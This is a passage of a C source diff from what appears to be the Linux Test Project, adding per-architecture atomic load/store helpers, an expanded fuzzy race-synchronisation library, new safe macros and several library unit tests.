+static inline int tst_atomic_load(int *v)
+{
+	int ret;
+
+	smp_mb();
+	ret = *v;
+	smp_mb();
+
+	return ret;
+}
+
+static inline void tst_atomic_store(int i, int *v)
+{
+	smp_mb();
+	*v = i;
+	smp_mb();
+}
+
 #elif defined (__aarch64__)
 static inline int tst_atomic_add_return(int i, int *v)
 {
@@ -140,7 +233,7 @@
 
 	__asm__ __volatile__(
 "       prfm    pstl1strm, %2	\n"
-"1:     ldxr 	%w0, %2		\n"
+"1:     ldaxr	%w0, %2		\n"
 "       add	%w0, %w0, %w3	\n"
 "       stlxr	%w1, %w0, %2	\n"
 "       cbnz	%w1, 1b		\n"
@@ -152,9 +245,92 @@
 	return result;
 }
 
+/* We are using load and store exclusive (ldaxr & stlxr) instructions to try
+ * and help prevent the tst_atomic_load and, more likely, tst_atomic_store
+ * functions from interfering with tst_atomic_add_return which takes advantage
+ * of exclusivity. It is not clear if this is a good idea or not, but does
+ * mean that all three functions are very similar.
+ */
+static inline int tst_atomic_load(int *v)
+{
+	int ret;
+	unsigned long tmp;
+
+	asm volatile("//atomic_load			\n"
+		"	prfm	pstl1strm,  %[v]	\n"
+		"1:	ldaxr	%w[ret], %[v]		\n"
+		"	stlxr   %w[tmp], %w[ret], %[v]  \n"
+		"	cbnz    %w[tmp], 1b		\n"
+		"	dmb ish				\n"
+		: [tmp] "=&r" (tmp), [ret] "=&r" (ret), [v] "+Q" (*v)
+		: : "memory");
+
+	return ret;
+}
+
+static inline void tst_atomic_store(int i, int *v)
+{
+	unsigned long tmp;
+
+	asm volatile("//atomic_store			\n"
+		"	prfm	pstl1strm, %[v]		\n"
+		"1:	ldaxr	%w[tmp], %[v]		\n"
+		"	stlxr   %w[tmp], %w[i], %[v]	\n"
+		"	cbnz    %w[tmp], 1b		\n"
+		"	dmb ish				\n"
+		: [tmp] "=&r" (tmp), [v] "+Q" (*v)
+		: [i] "r" (i)
+		: "memory");
+}
+
+#elif defined(__sparc__) && defined(__arch64__)
+# define LTP_USE_GENERIC_LOAD_STORE_ASM 1
+static inline int tst_atomic_add_return(int i, int *v)
+{
+	int ret, tmp;
+
+	/* Based on arch/sparc/lib/atomic_64.S with the exponential backoff
+	 * function removed because we are unlikely to have a large (>= 16?)
+	 * number of cores continuously trying to update one variable.
+	 */
+	asm volatile("/*atomic_add_return*/		\n"
+		"1:	ldsw	[%[v]], %[ret];		\n"
+		"	add	%[ret], %[i], %[tmp];	\n"
+		"	cas	[%[v]], %[ret], %[tmp];	\n"
+		"	cmp	%[ret], %[tmp];		\n"
+		"	bne,pn	%%icc, 1b;		\n"
+		"	nop;				\n"
+		"	add	%[ret], %[i], %[ret];	\n"
+		: [ret] "=r&" (ret), [tmp] "=r&" (tmp)
+		: [i] "r" (i), [v] "r" (v)
+		: "memory", "cc");
+
+	return ret;
+}
+
 #else /* HAVE_SYNC_ADD_AND_FETCH == 1 */
-# error Your compiler does not provide __sync_add_and_fetch and LTP\
-	implementation is missing for your architecture.
+# error Your compiler does not provide __atomic_add_fetch, __sync_add_and_fetch \
+        and an LTP implementation is missing for your architecture.
+#endif
+
+#ifdef LTP_USE_GENERIC_LOAD_STORE_ASM
+static inline int tst_atomic_load(int *v)
+{
+	int ret;
+
+	asm volatile("" : : : "memory");
+	ret = *v;
+	asm volatile("" : : : "memory");
+
+	return ret;
+}
+
+static inline void tst_atomic_store(int i, int *v)
+{
+	asm volatile("" : : : "memory");
+	*v = i;
+	asm volatile("" : : : "memory");
+}
 #endif
 
 static inline int tst_atomic_inc(int *v)
diff --git a/include/tst_checkpoint.h b/include/tst_checkpoint.h
index fdce2d6..d6f7607 100644
--- a/include/tst_checkpoint.h
+++ b/include/tst_checkpoint.h
@@ -37,6 +37,5 @@
         tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, 0);
 
 extern const char *tst_ipc_path;
-extern char *const tst_ipc_envp[];
 
 #endif /* TST_CHECKPOINT__ */
diff --git a/include/tst_device.h b/include/tst_device.h
index 897696d..7ac2883 100644
--- a/include/tst_device.h
+++ b/include/tst_device.h
@@ -34,4 +34,14 @@
  */
 int tst_umount(const char *path);
 
+/*
+ * Clears a first few blocks of the device. This is needed when device has
+ * already been formatted with a filesystems, subset of mkfs.foo utils aborts
+ * the operation if it finds a filesystem signature there.
+ *
+ * Note that this is called from tst_mkfs() automatically, so you probably will
+ * not need to use this from the test yourself.
+ */
+int tst_clear_device(const char *dev);
+
 #endif	/* TST_DEVICE_H__ */
diff --git a/include/tst_fs.h b/include/tst_fs.h
index 52befbe..73916a6 100644
--- a/include/tst_fs.h
+++ b/include/tst_fs.h
@@ -116,7 +116,7 @@
  * If limit is hit the maximal number of subdirectories is returned and the
  * @dir is filled with subdirectories in format "testdir%i" where i belongs to
  * [0, limit - 2) interval (because each newly created dir has two links
- * allready the '.' and link from parent dir).
+ * already the '.' and link from parent dir).
  *
  * If no limit is hit or mkdir() failed with ENOSPC or EDQUOT zero is returned
  * previously created directories are removed.
@@ -146,6 +146,15 @@
  */
 int tst_fill_file(const char *path, char pattern, size_t bs, size_t bcount);
 
+/*
+ * Returns NULL-terminated array of kernel-supported filesystems.
+ */
+const char **tst_get_supported_fs_types(void);
+
+/*
+ * Creates and writes to files on given path until write fails with ENOSPC
+ */
+void tst_fill_fs(const char *path, int verbose);
 
 #ifdef TST_TEST_H__
 static inline long tst_fs_type(const char *path)
diff --git a/include/tst_fuzzy_sync.h b/include/tst_fuzzy_sync.h
index 2292174..bcc625e 100644
--- a/include/tst_fuzzy_sync.h
+++ b/include/tst_fuzzy_sync.h
@@ -17,21 +17,31 @@
 /*
  * Fuzzy Synchronisation - abreviated to fzsync
  *
- * This library is intended to help reproduce race conditions while running in
- * a loop. You can use it to measure the time at which two functions are
- * called in different threads. Then calculate the average time gap between
- * the function calls and introduce a delay in one thread to synchronise the
- * calls.
+ * This library is intended to help reproduce race conditions by providing two
+ * thread synchronisation mechanisms. The first is a 'checkpoint' system where
+ * each thread will wait indefinitely for the other to enter a checkpoint
+ * before continuing. This is acheived by calling tst_fzsync_wait() and/or
+ * tst_fzsync_wait_update() at the points you want to synchronise in each
+ * thread. This is functionally very similar to using pthread_barrier_wait()
+ * with two threads. However tst_fzsync_wait() can be inlined and is
+ * guaranteed not to call sleep or futex.
  *
- * It is called 'fuzzy' synchronisation because the time gap will naturally vary
- * due to environmental factors. It is not a 'hard' synchronisation mechanism
- * like lockstepping.
+ * The second takes the form a of a delay which is calculated by measuring the
+ * time difference between two points in each thread and comparing it to the
+ * desired difference (default is zero). Using a delay allows you to
+ * synchronise the threads at a point outside of your direct control
+ * (e.g. inside the kernel) or just increase the accuracy for the first
+ * mechanism. It is acheived using tst_fzsync_delay_{a,b}(),
+ * tst_fzsync_time_{a,b}() and tst_fzsync[_wait_]update().
  *
- * For a usage example see testcases/cve/cve-2017-2671.c
+ * For a usage example see testcases/cve/cve-2016-7117.c or just run
+ * 'git grep tst_fuzzy_sync.h'
  */
 
 #include <sys/time.h>
 #include <time.h>
+#include <math.h>
+#include "tst_atomic.h"
 
 #ifndef CLOCK_MONOTONIC_RAW
 # define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC
@@ -39,30 +49,44 @@
 
 /**
  * struct tst_fzsync_pair - the state of a two way synchronisation
- * @avg_diff: The average time difference over multiple iterations
- * @avg_diff_trgt: The desired average time difference, defaults to 0
+ * @avg_diff: Internal; the average time difference over multiple iterations.
+ * @avg_diff_trgt: The desired average time difference, defaults to 0.
  * @avg_alpha: The rate at which old diff samples are forgotten,
- *             defaults to 0.25
- * @a: The time at which call site A was last passed
- * @b: The time at which call site B was last passed
- * @delay: The size of the delay, positive to delay A, negative to delay B
- * @delay_inc: The step size of a delay increment, defaults to 10
+ *             defaults to 0.25.
+ * @avg_dev: Internal; Absolute average deviation.
+ * @a: Internal; The time at which call site A was last passed.
+ * @b: Internal; The time at which call site B was last passed.
+ * @delay: Internal; The size of the delay, positive to delay A,
+ *         negative to delay B.
+ * @delay_inc: The step size of a delay increment, defaults to 1.
  * @update_gap: The number of iterations between recalculating the delay.
  *              Defaults to 0xF and must be of the form $2^n - 1$
+ * @info_gap: The number of iterations between printing some statistics.
+ *            Defaults to 0x7FFFF and must also be one less than a power of 2.
+ * @a_cntr: Internal; Atomic counter used by fzsync_pair_wait()
+ * @b_cntr: Internal; Atomic counter used by fzsync_pair_wait()
+ * @exit: Internal; Used by tst_fzsync_pair_exit() and fzsync_pair_wait()
  *
  * This contains all the necessary state for synchronising two points A and
  * B. Where A is the time of an event in one process and B is the time of an
  * event in another process.
+ *
+ * Internal fields should only be accessed by library functions.
  */
 struct tst_fzsync_pair {
-	double avg_diff;
-	double avg_diff_trgt;
-	double avg_alpha;
+	float avg_diff;
+	float avg_diff_trgt;
+	float avg_alpha;
+	float avg_dev;
 	struct timespec a;
 	struct timespec b;
 	long delay;
 	long delay_inc;
 	int update_gap;
+	int info_gap;
+	int a_cntr;
+	int b_cntr;
+	int exit;
 };
 
 /**
@@ -70,14 +94,19 @@
  */
 #define TST_FZSYNC_PAIR_INIT {	\
 	.avg_alpha = 0.25,	\
-	.delay_inc = 10,	\
-	.update_gap = 0xF	\
+	.delay_inc = 1,	        \
+	.update_gap = 0xF,	\
+	.info_gap = 0x7FFFF     \
 }
 
+/**
+ * tst_fzsync_pair_info - Print some synchronisation statistics
+ */
 static void tst_fzsync_pair_info(struct tst_fzsync_pair *pair)
 {
-	tst_res(TINFO, "avg_diff = %.5gns, delay = %05ld loops",
-		pair->avg_diff, pair->delay);
+	tst_res(TINFO,
+		"avg_diff = %.0fns, avg_dev = %.0fns, delay = %05ld loops",
+		pair->avg_diff, pair->avg_dev, pair->delay);
 }
 
 /**
@@ -139,8 +168,9 @@
  *
  * Returns average including the current sample.
  */
-static inline double tst_exp_moving_avg(double alpha, long sample,
-					double prev_avg)
+static inline float tst_exp_moving_avg(float alpha,
+					float sample,
+					float prev_avg)
 {
 	return alpha * sample + (1.0 - alpha) * prev_avg;
 }
@@ -165,11 +195,15 @@
 {
 	long diff;
 	long inc = pair->delay_inc;
-	double target = pair->avg_diff_trgt;
-	double avg = pair->avg_diff;
+	float target = pair->avg_diff_trgt;
+	float avg = pair->avg_diff;
 
-	diff = pair->a.tv_nsec - pair->b.tv_nsec;
+	diff = pair->a.tv_nsec - pair->b.tv_nsec
+		+ 1000000000 * (pair->a.tv_sec - pair->b.tv_sec);
 	avg = tst_exp_moving_avg(pair->avg_alpha, diff, avg);
+	pair->avg_dev = tst_exp_moving_avg(pair->avg_alpha,
+					   fabs(diff - avg),
+					   pair->avg_dev);
 
 	if (!(loop_index & pair->update_gap)) {
 		if (avg > target)
@@ -178,5 +212,115 @@
 			pair->delay += inc;
 	}
 
+	if (!(loop_index & pair->info_gap))
+		tst_fzsync_pair_info(pair);
+
 	pair->avg_diff = avg;
 }
+
+/**
+ * tst_fzsync_pair_wait - Wait for the other thread
+ * @our_cntr: The counter for the thread we are on
+ * @other_cntr: The counter for the thread we are synchronising with
+ *
+ * Use this (through tst_fzsync_pair_wait_a() and tst_fzsync_pair_wait_b()) if
+ * you need an additional synchronisation point in a thread or you do not want
+ * to use the delay facility (not recommended). See
+ * tst_fzsync_pair_wait_update().
+ *
+ * Returns a non-zero value if the thread should continue otherwise the
+ * calling thread should exit.
+ */
+static inline int tst_fzsync_pair_wait(struct tst_fzsync_pair *pair,
+				       int *our_cntr, int *other_cntr)
+{
+	if (tst_atomic_inc(other_cntr) == INT_MAX) {
+		/*
+		 * We are about to break the invariant that the thread with
+		 * the lowest count is in front of the other. So we must wait
+		 * here to ensure the other thread has atleast reached the
+		 * line above before doing that. If we are in rear position
+		 * then our counter may already have been set to zero.
+		 */
+		while (tst_atomic_load(our_cntr) > 0
+		       && tst_atomic_load(our_cntr) < INT_MAX
+		       && !tst_atomic_load(&pair->exit))
+			;
+
+		tst_atomic_store(0, other_cntr);
+		/*
+		 * Once both counters have been set to zero the invariant
+		 * is restored and we can continue.
+		 */
+		while (tst_atomic_load(our_cntr) > 1
+		       && !tst_atomic_load(&pair->exit))
+			;
+	} else {
+		/*
+		 * If our counter is less than the other thread's we are ahead
+		 * of it and need to wait.
+		 */
+		while (tst_atomic_load(our_cntr) < tst_atomic_load(other_cntr)
+		       && !tst_atomic_load(&pair->exit))
+			;
+	}
+
+	/* Only exit if we have done the same amount of work as the other thread */
+	return !tst_atomic_load(&pair->exit) ||
+	  tst_atomic_load(other_cntr) <= tst_atomic_load(our_cntr);
+}
+
+static inline int tst_fzsync_wait_a(struct tst_fzsync_pair *pair)
+{
+	return tst_fzsync_pair_wait(pair, &pair->a_cntr, &pair->b_cntr);
+}
+
+static inline int tst_fzsync_wait_b(struct tst_fzsync_pair *pair)
+{
+	return tst_fzsync_pair_wait(pair, &pair->b_cntr, &pair->a_cntr);
+}
+
+/**
+ * tst_fzsync_pair_wait_update_{a,b} - Wait and then recalculate
+ *
+ * This allows you to have two long running threads which wait for each other
+ * every iteration. So each thread will exit this function at approximately
+ * the same time. It also updates the delay values in a thread safe manner.
+ *
+ * You must call this function in both threads the same number of times each
+ * iteration. So a call in one thread must match with a call in the
+ * other. Make sure that calls to tst_fzsync_pair_wait() and
+ * tst_fzsync_pair_wait_update() happen in the same order in each thread. That
+ * is, make sure that a call to tst_fzsync_pair_wait_update_a() in one thread
+ * corresponds to a call to tst_fzsync_pair_wait_update_b() in the other.
+ *
+ * Returns a non-zero value if the calling thread should continue to loop. If
+ * it returns zero then tst_fzsync_exit() has been called and you must exit
+ * the thread.
+ */
+static inline int tst_fzsync_wait_update_a(struct tst_fzsync_pair *pair)
+{
+	static int loop_index;
+
+	tst_fzsync_pair_wait(pair, &pair->a_cntr, &pair->b_cntr);
+	loop_index++;
+	tst_fzsync_pair_update(loop_index, pair);
+	return tst_fzsync_pair_wait(pair, &pair->a_cntr, &pair->b_cntr);
+}
+
+static inline int tst_fzsync_wait_update_b(struct tst_fzsync_pair *pair)
+{
+	tst_fzsync_pair_wait(pair, &pair->b_cntr, &pair->a_cntr);
+	return tst_fzsync_pair_wait(pair, &pair->b_cntr, &pair->a_cntr);
+}
+
+/**
+ * tst_fzsync_pair_exit - Signal that the other thread should exit
+ *
+ * Causes tst_fzsync_pair_wait() and tst_fzsync_pair_wait_update() to return
+ * 0.
+ */
+static inline void tst_fzsync_pair_exit(struct tst_fzsync_pair *pair)
+{
+	tst_atomic_store(1, &pair->exit);
+}
diff --git a/include/tst_safe_macros.h b/include/tst_safe_macros.h
index 1e034b8..06bff13 100644
--- a/include/tst_safe_macros.h
+++ b/include/tst_safe_macros.h
@@ -66,7 +66,7 @@
 #define SAFE_DUP(oldfd) \
 	safe_dup(__FILE__, __LINE__, (oldfd))
 
-#define	SAFE_GETCWD(buf, size) \
+#define SAFE_GETCWD(buf, size) \
 	safe_getcwd(__FILE__, __LINE__, NULL, (buf), (size))
 
 #define SAFE_GETPWNAM(name) \
@@ -403,6 +403,12 @@
 	         "execlp(%s, %s, ...) failed", file, arg); \
 	} while (0)
 
+#define SAFE_EXECL(file, arg, ...) do {				\
+       execl((file), (arg), ##__VA_ARGS__);			\
+       tst_brk_(__FILE__, __LINE__, TBROK | TERRNO,		\
+                "execl(%s, %s, ...) failed", file, arg); 	\
+       } while (0)
+
 int safe_getpriority(const char *file, const int lineno, int which, id_t who);
 #define SAFE_GETPRIORITY(which, who) \
 	safe_getpriority(__FILE__, __LINE__, (which), (who))
@@ -447,5 +453,12 @@
 		    unsigned long persona);
 #define SAFE_PERSONALITY(persona) safe_personality(__FILE__, __LINE__, persona)
 
+#define SAFE_SETENV(name, value, overwrite) do {		\
+	if (setenv(name, value, overwrite)) {			\
+		tst_brk_(__FILE__, __LINE__, TBROK | TERRNO,	\
+			"setenv(%s, %s, %d) failed",		\
+			name, value, overwrite);		\
+	}							\
+	} while (0)
 
 #endif /* SAFE_MACROS_H__ */
diff --git a/include/tst_safe_net.h b/include/tst_safe_net.h
index 1fdd5de..104184d 100644
--- a/include/tst_safe_net.h
+++ b/include/tst_safe_net.h
@@ -32,6 +32,12 @@
 #define SAFE_SETSOCKOPT(fd, level, optname, optval, optlen) \
 	safe_setsockopt(__FILE__, __LINE__, fd, level, optname, optval, optlen)
 
+#define SAFE_SETSOCKOPT_INT(fd, l, n, val) \
+	do { \
+		int v = val; \
+		safe_setsockopt(__FILE__, __LINE__, fd, l, n, &v, sizeof(v)); \
+	} while (0)
+
 #define SAFE_SEND(strict, sockfd, buf, len, flags) \
 	safe_send(__FILE__, __LINE__, strict, sockfd, buf, len, flags)
 
diff --git a/include/tst_test.h b/include/tst_test.h
index ad468e8..eaf7a1f 100644
--- a/include/tst_test.h
+++ b/include/tst_test.h
@@ -105,8 +105,6 @@
 int tst_parse_float(const char *str, float *val, float min, float max);
 
 struct tst_test {
-	/* test id usually the same as test filename without file suffix */
-	const char *tid;
 	/* number of tests available in test() function */
 	unsigned int tcnt;
 
@@ -125,6 +123,15 @@
 	int format_device:1;
 	int mount_device:1;
 	int needs_rofs:1;
+	/*
+	 * If set the test function will be executed for all available
+	 * filesystems and the current filesytem type would be set in the
+	 * tst_device->fs_type.
+	 *
+	 * The test setup and cleanup are executed before/after __EACH__ call
+	 * to the test function.
+	 */
+	int all_filesystems:1;
 
 	/* Minimal device size in megabytes */
 	unsigned int dev_min_size;
@@ -150,6 +157,9 @@
 	void (*test)(unsigned int test_nr);
 	void (*test_all)(void);
 
+	/* Syscall name used by the timer measurement library */
+	const char *scall;
+
 	/* Sampling function for timer measurement testcases */
 	int (*sample)(int clk_id, long long usec);
 
@@ -186,6 +196,12 @@
  */
 const char *tst_strerrno(int err);
 const char *tst_strsig(int sig);
+/*
+ * Returns string describing status as returned by wait().
+ *
+ * BEWARE: Not thread safe.
+ */
+const char *tst_strstatus(int status);
 
 void tst_set_timeout(int timeout);
 
diff --git a/include/tst_timer_test.h b/include/tst_timer_test.h
index 59931d3..23fc0ba 100644
--- a/include/tst_timer_test.h
+++ b/include/tst_timer_test.h
@@ -37,7 +37,7 @@
     }
 
     struct tst_test test = {
-	.tid = "syscall_name()",
+	.scall = "syscall_name()",
 	.sample = sample,
     };
 
diff --git a/lib/newlib_tests/.gitignore b/lib/newlib_tests/.gitignore
index 8e12007..d0ff419 100644
--- a/lib/newlib_tests/.gitignore
+++ b/lib/newlib_tests/.gitignore
@@ -12,6 +12,10 @@
 test12
 test13
 test14
+test15
+test16
 tst_device
 tst_safe_fileops
 tst_res_hexd
+tst_strstatus
+test17
diff --git a/lib/newlib_tests/Makefile b/lib/newlib_tests/Makefile
index e9976e5..afa0937 100644
--- a/lib/newlib_tests/Makefile
+++ b/lib/newlib_tests/Makefile
@@ -7,6 +7,9 @@
 
 test08: CFLAGS+=-pthread
 test09: CFLAGS+=-pthread
+test15: CFLAGS+=-pthread
+test16: CFLAGS+=-pthread
+test16: LDLIBS+=-lrt
 
 ifeq ($(ANDROID),1)
 FILTER_OUT_MAKE_TARGETS	+= test08
diff --git a/lib/newlib_tests/test15.c b/lib/newlib_tests/test15.c
new file mode 100644
index 0000000..7563cb7
--- /dev/null
+++ b/lib/newlib_tests/test15.c
@@ -0,0 +1,142 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * A basic regression test for tst_atomic_{load,store}. Also provides a
+ * limited check that atomic stores and loads order non-atomic memory
+ * accesses. That is, we are checking that they implement memory fences or
+ * barriers.
+ *
+ * Many architectures/machines will still pass the test even if you remove the
+ * atomic functions. X86 in particular has strong memory ordering by default
+ * so that should always pass (if you use volatile). However Aarch64
+ * (Raspberry Pi 3 Model B) has been observed to fail without the atomic
+ * functions.
+ *
+ * A failure can occur if an update to seq_n is not made globally visible by
+ * the time the next thread needs to use it.
+ */
+
+#include <stdint.h>
+#include <pthread.h>
+#include "tst_test.h"
+#include "tst_atomic.h"
+
+#define THREADS 64
+#define FILLER (1 << 20)
+
+/* Uncomment these to see what happens without atomics. To prevent the compiler
+ * from removing/reording atomic and seq_n, mark them as volatile.
+ */
+/* #define tst_atomic_load(v) (*(v)) */
+/* #define tst_atomic_store(i, v) *(v) = (i) */
+
+struct block {
+	int seq_n;
+	intptr_t id;
+	intptr_t filler[FILLER];
+};
+
+static int atomic;
+/* Instead of storing seq_n on the stack (probably next to the atomic variable
+ * above), we store it in the middle of some anonymous mapped memory and keep
+ * a pointer to it. This should decrease the probability that the value of
+ * seq_n will be synchronised between processors as a byproduct of the atomic
+ * variable being updated.
+ */
+static int *seq_n;
+static struct block *m;
+
+static void *worker_load_store(void *aid)
+{
+	int id = (intptr_t)aid, i;
+
+	for (i = tst_atomic_load(&atomic);
+	     i != id;
+	     i = tst_atomic_load(&atomic))
+		;
+
+	(m + (*seq_n))->id = id;
+	*seq_n += 1;
+	tst_atomic_store(i + 1, &atomic);
+
+	return NULL;
+}
+
+/* Attempt to stress the memory transport so that memory operations are
+ * contended and less predictable. This should increase the likelyhood of a
+ * failure if a memory fence is missing.
+ */
+static void *mem_spam(void *vp LTP_ATTRIBUTE_UNUSED)
+{
+	intptr_t i = 0, j;
+	struct block *cur = m;
+
+	tst_res(TINFO, "Memory spammer started");
+	while (tst_atomic_load(&atomic) > 0) {
+		for (j = 0; j < FILLER; j++)
+			cur->filler[j] = j;
+
+		if (i < THREADS - 1) {
+			cur = m + (++i);
+		} else {
+			i = 0;
+			cur = m;
+		}
+	}
+
+	return NULL;
+}
+
+static void do_test(void)
+{
+	intptr_t i, id;
+	pthread_t threads[THREADS + 1];
+
+	atomic = 0;
+	m = SAFE_MMAP(NULL, sizeof(*m) * THREADS,
+		      PROT_READ | PROT_WRITE,
+		      MAP_PRIVATE | MAP_ANONYMOUS,
+		      -1, 0);
+	seq_n = &((m + THREADS / 2)->seq_n);
+
+	pthread_create(&threads[THREADS], NULL, mem_spam, NULL);
+	for (i = THREADS - 1; i >= 0; i--)
+		pthread_create(&threads[i], NULL, worker_load_store, (void *)i);
+
+	for (i = 0; i < THREADS; i++) {
+		tst_res(TINFO, "Joining thread %li", i);
+		pthread_join(threads[i], NULL);
+	}
+	tst_atomic_store(-1, &atomic);
+	pthread_join(threads[THREADS], NULL);
+
+	tst_res(TINFO, "Expected\tFound");
+	for (i = 0; i < THREADS; i++) {
+		id = (m + i)->id;
+		if (id != i)
+			tst_res(TFAIL, "%d\t\t%d", (int)i, (int)id);
+		else
+			tst_res(TPASS, "%d\t\t%d", (int)i, (int)id);
+	}
+
+	SAFE_MUNMAP(m, sizeof(*m) * THREADS);
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/test16.c b/lib/newlib_tests/test16.c
new file mode 100644
index 0000000..d80bd53
--- /dev/null
+++ b/lib/newlib_tests/test16.c
@@ -0,0 +1,112 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Basic functionality test for tst_fuzzy_sync.h similar to the atomic tests
+ * (test15.c). One thread writes to the odd indexes of an array while the
+ * other writes to the even. If the threads are not synchronised then they
+ * will probably write to the wrong indexes as they share an index variable
+ * which they should take it in turns to update.
+ */
+
+#include <stdlib.h>
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "tst_fuzzy_sync.h"
+
+/* LOOPS * 2 + 1 must be less than INT_MAX */
+#define LOOPS 0xFFFFFFULL
+
+static pthread_t thrd;
+static volatile char seq[LOOPS * 2 + 1];
+static struct tst_fzsync_pair pair = TST_FZSYNC_PAIR_INIT;
+static volatile int seq_n;
+static volatile int iterations;
+
+static void *worker(void *v LTP_ATTRIBUTE_UNUSED)
+{
+	unsigned long long i;
+
+	for (i = 0; tst_fzsync_wait_update_b(&pair); i++) {
+		tst_fzsync_delay_b(&pair);
+		tst_fzsync_time_b(&pair);
+		if (!tst_fzsync_wait_b(&pair))
+			break;
+		seq[seq_n] = 'B';
+		seq_n = (i + 1) * 2 % (int)LOOPS * 2;
+	}
+
+	if (i > LOOPS * iterations)
+		tst_res(TWARN, "Worker performed too many iterations: %lld > %lld",
+			i, LOOPS * iterations);
+
+	return NULL;
+}
+
+static void setup(void)
+{
+	SAFE_PTHREAD_CREATE(&thrd, NULL, worker, NULL);
+}
+
+static void run(void)
+{
+	unsigned int i, j, fail = 0;
+
+	for (i = 0; i < LOOPS; i++) {
+		tst_fzsync_wait_update_a(&pair);
+		tst_fzsync_delay_a(&pair);
+		seq[seq_n] = 'A';
+		seq_n = i * 2 + 1;
+		tst_fzsync_time_a(&pair);
+		if (!tst_fzsync_wait_a(&pair))
+			break;
+	}
+
+	tst_res(TINFO, "Checking sequence...");
+	for (i = 0; i < LOOPS; i++) {
+		j = i * 2;
+		if (seq[j] != 'A') {
+			tst_res(TFAIL, "Expected A, but found %c at %d",
+				seq[j], j);
+			fail = 1;
+		}
+		j = i * 2 + 1;
+		if (seq[j] != 'B') {
+			tst_res(TFAIL, "Expected A, but found %c at %d",
+				seq[j], j);
+			fail = 1;
+		}
+	}
+
+	if (!fail)
+		tst_res(TPASS, "Sequence is correct");
+
+	if (labs(pair.delay) > 1000)
+		tst_res(TFAIL, "Delay is suspiciously large");
+
+	iterations++;
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_exit(&pair);
+	SAFE_PTHREAD_JOIN(thrd, NULL);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};
diff --git a/lib/newlib_tests/test17.c b/lib/newlib_tests/test17.c
new file mode 100644
index 0000000..f83c9ed
--- /dev/null
+++ b/lib/newlib_tests/test17.c
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Basic functionality test for tst_fuzzy_sync.h similar to the atomic tests
+ * (test15.c). One thread writes to the odd indexes of an array while the
+ * other writes to the even. If the threads are not synchronised then they
+ * will probably write to the wrong indexes as they share an index variable
+ * which they should take it in turns to update.
+ */
+
+#include <stdlib.h>
+#include "tst_test.h"
+
+#define TEXT "The only purpose of this text si to try to overflow the buffers "\
+	     "in test library, other than that it does not include any useful "\
+	     "information. Whoever decides to read this wall of text is just " \
+	     "simply wasting his time. You are not reading this are you? Hmm " \
+	     "you still do. Are you feeling rebelious today? Well whatever. "  \
+	     "It's _your_ time not mine. Feel free to waste it if you want "   \
+	     "to. Still reading? I bet you are not. And don't try to prove me "\
+	     "wrong just because you can. Still reading? Do you feel better "\
+	     "now? Now even I am bored, how come that can you still continue "\
+	     "reading? And now for something completely different! Let's try "\
+	     "some ASCII art! This is a sitting mouse from a top: <3)~~ Did "\
+	     "like that? No? Hmm, let me think, I think I can draw a pengiun "\
+	     "as well what about this one: <(^) ? You liked the mouse better? "\
+	     "Why I'm even trying? Anyway I'm pretty sure nobody got here, so "\
+	     "I will write down a secret. It will be burried here forever and "\
+	     "ever until brave adventurer decides to read this paragraph to "\
+	     "the very end. Here it comes: the text was long enough even "\
+	     "before I added this sentence, therefore this sentence is as "\
+	     "useless as it can be, yet it exists here, sometimes strange "\
+	     "things like this happens..."
+
+static void run(void)
+{
+	tst_res(TPASS, TEXT);
+	tst_res(TPASS | TERRNO, TEXT);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/lib/newlib_tests/tst_strstatus.c b/lib/newlib_tests/tst_strstatus.c
new file mode 100644
index 0000000..b35ea8c
--- /dev/null
+++ b/lib/newlib_tests/tst_strstatus.c
@@ -0,0 +1,49 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+/*
+ * Basic unit test for the tst_strstatus() function.
+ */
+
+#include "tst_test.h"
+
+static struct tcase {
+	int status;
+	const char *str;
+} tcases[] = {
